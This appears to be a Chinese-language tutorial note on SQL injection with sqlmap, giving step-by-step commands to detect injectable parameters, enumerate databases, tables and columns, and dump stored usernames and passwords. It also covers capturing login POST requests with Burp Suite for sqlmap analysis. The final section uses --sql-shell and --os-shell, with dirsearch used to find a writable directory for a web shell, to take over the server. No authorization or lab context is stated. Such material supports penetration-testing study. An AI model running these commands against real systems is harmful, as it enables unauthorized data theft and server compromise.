4.SQL注入

一、SQL注入:

1.常用命令:

2.SQLMAP使用:

(1)前置了解:

官方网址:http://sqlmap.org

Github网址:https://github.com/sqlmapproject/sqlmap

https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-zh-CN.md

使用手册:https://github.com/sqlmapproject/sqlmap/wiki/Usage

(2)常用类型:

▲基于布尔的盲注:GET型

攻击流程:

①测试目标是否存在sql注入:sqlmap -u ip

这里就可能会返回payload,可以用来自定义使用

②之后查找所有database:sqlmap -u ip –dbs

③查找所有tables:sqlmap -u ip –tables

④查找存储的属性字段:sqlmap -u ip -D database_name -T table_name –columns

⑤依据属性字段查找想要的数据:sqlmap -u ip -D database_name -T table_name -C column_1,column_2… –dump

(例如table中可能就保存id,username,password的属性,就可以查找账号密码出来)

▲针对登录框的SQL注入:POST型

①利用burpsuite抓请求登录的包,查看(需要先设置代理,然后拦截,8080可能不行,得其它端口代理)

img

username=admin&password=admin&authorization=

最下面的这个基本就是我们传输的请求登录信息。

②然后将这些内容保存下来,生成一个文件sql.txt,将这个文件用sqlmap运行分析:

sqlmap -r sql.txt

这样就开始从sql.txt文件中分析了,判断到底有没有sql注入漏洞,有的话就应该有对应的payload生成出来。

▲之后就类似上面的,获取数据库,table等等信息,从而最终获取服务器的登录账号和密码。

▲其它类型的测试:测试共5级

测试注入时加上参数–level=LEVEL

①默认:GET和POST测试

②2级:测试cookie:

(看服务器会不会根据cookie来获取用户数据)

sqlmap -r sql.txt –level=2

②3级:测试HTTP User-Agent/Referer头的值

3.SQL-Shell:

(1)通过漏洞进入SQL-Shell:

sqlmap -r sql.txt –level=5 –sql-shell

这样如果能进入就可以直接用SQL语句来查询数据

(2)通过漏洞进入OS-shell:

sqlmap -r sql.txt –level=5 –os-shell

①之后需要选择Web站点的搭建语言,通过插件或者其它形式判断(php,jsp等等)

②然后需要输入一个可以往里面写东西的文件目录:例如/var/www/upload

这里目录可以通过工具来查找:

1
2
3
4
5
#注释头

git clone https://github.com/maurosoria/dirsearch
cd dirsearch
python3 dirsearch.py -u ip

这样sqlmap就可以上传东西,写入一些类似于web-shell等东西,从而获取权限。

③那么就进入os-shell了,可以获取到服务器权限